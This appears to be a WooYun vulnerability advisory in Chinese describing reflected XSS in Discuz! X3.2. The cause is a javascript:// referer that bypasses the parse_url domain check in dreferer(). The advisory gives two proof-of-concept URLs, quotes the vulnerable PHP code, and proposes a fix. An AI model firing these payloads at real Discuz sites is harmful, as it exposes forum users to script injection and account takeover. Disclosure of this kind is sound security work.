当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099819

漏洞标题:Disucz X3.2 多处反射型XSS漏洞(函数缺陷导致)

相关厂商:Discuz!

漏洞作者: 路人甲

提交时间:2015-03-06 12:26

修复时间:2015-06-04 12:42

公开时间:2015-06-04 12:42

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-06: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向第三方安全合作伙伴开放
2015-04-30: 细节向核心白帽子及相关领域专家公开
2015-05-10: 细节向普通白帽子公开
2015-05-20: 细节向实习白帽子公开
2015-06-04: 细节向公众公开

简要描述:

某函数缺陷导致的 XSS。

详细说明:

member.php?mod=logging&action=login&referer=javascript://www.discuz.net/

<p>欢迎您回来,Newbie xx,现在将转入登录前页面<script type="text/javascript" reload="1">setTimeout("window.location.href ='javascript://www.discuz.net/';", 2000);setTimeout("window.location.href ='javascript://www.discuz.net/';", 2000);</script></p>
<p class="alert_btnleft"><a href="javascript://www.discuz.net/">如果您的浏览器没有自动跳转,请点击此链接</a></p>


connect.php?receive=yes&mod=login&op=callback&referer=javascript://www.discuz.net/

<p>抱歉,当前存在网络问题或服务器繁忙,详细错误:connect_error_code_0,错误代码:<a target=_blank href="http://wiki.opensns.qq.com/wiki/%E3%80%90QQ%E7%99%BB%E5%BD%95%E3%80%91%E5%85%AC%E5%85%B1%E8%BF%94%E5%9B%9E%E7%A0%81%E8%AF%B4%E6%98%8E">openId signature invalid</a>,请您稍候再试。谢谢。<script type="text/javascript" reload="1">setTimeout("window.location.href ='javascript://www.discuz.net/';", 2000);</script></p>
<p class="alert_btnleft"><a href="javascript://www.discuz.net/">如果您的浏览器没有自动跳转,请点击此链接</a></p>


source/function/function_core.php:

function dreferer($default = '') {
......
if(strpos($_G['referer'], 'member.php?mod=logging')) {
$_G['referer'] = $default;
}
$reurl = parse_url($_G['referer']);
if(!empty($reurl['host']) && !in_array($reurl['host'], array($_SERVER['HTTP_HOST'], 'www.'.$_SERVER['HTTP_HOST'])) && !in_array($_SERVER['HTTP_HOST'], array($reurl['host'], 'www.'.$reurl['host']))) {
if(!in_array($reurl['host'], $_G['setting']['domain']['app']) && !isset($_G['setting']['domain']['list'][$reurl['host']])) {
$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1);
if(empty($_G['setting']['domain']['root']) || (is_array($_G['setting']['domain']['root']) && !in_array($domainroot, $_G['setting']['domain']['root']))) {
$_G['referer'] = $_G['setting']['domain']['defaultindex'] ? $_G['setting']['domain']['defaultindex'] : 'index.php';
}
}
} elseif(empty($reurl['host'])) {
$_G['referer'] = $_G['siteurl'].'./'.$_G['referer'];
}
$_G['referer'] = durlencode($_G['referer']);
return$_G['referer'];
}


这段代码使用 parse_url 解析 referer 后得到的 host 与 $_SERVER['HTTP_HOST'] 进行对比判断是否为站内,但由于这个函数本身是不做有效性检测的,所以使用 js URI 就可以绕过域检测执行 JS了。

漏洞证明:

修复方案:

使用 parse_url 解析后做一次有效性检测。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-06 12:41

厂商回复:

感谢朋友发现的问题,我们会尽快处理

最新状态:

暂无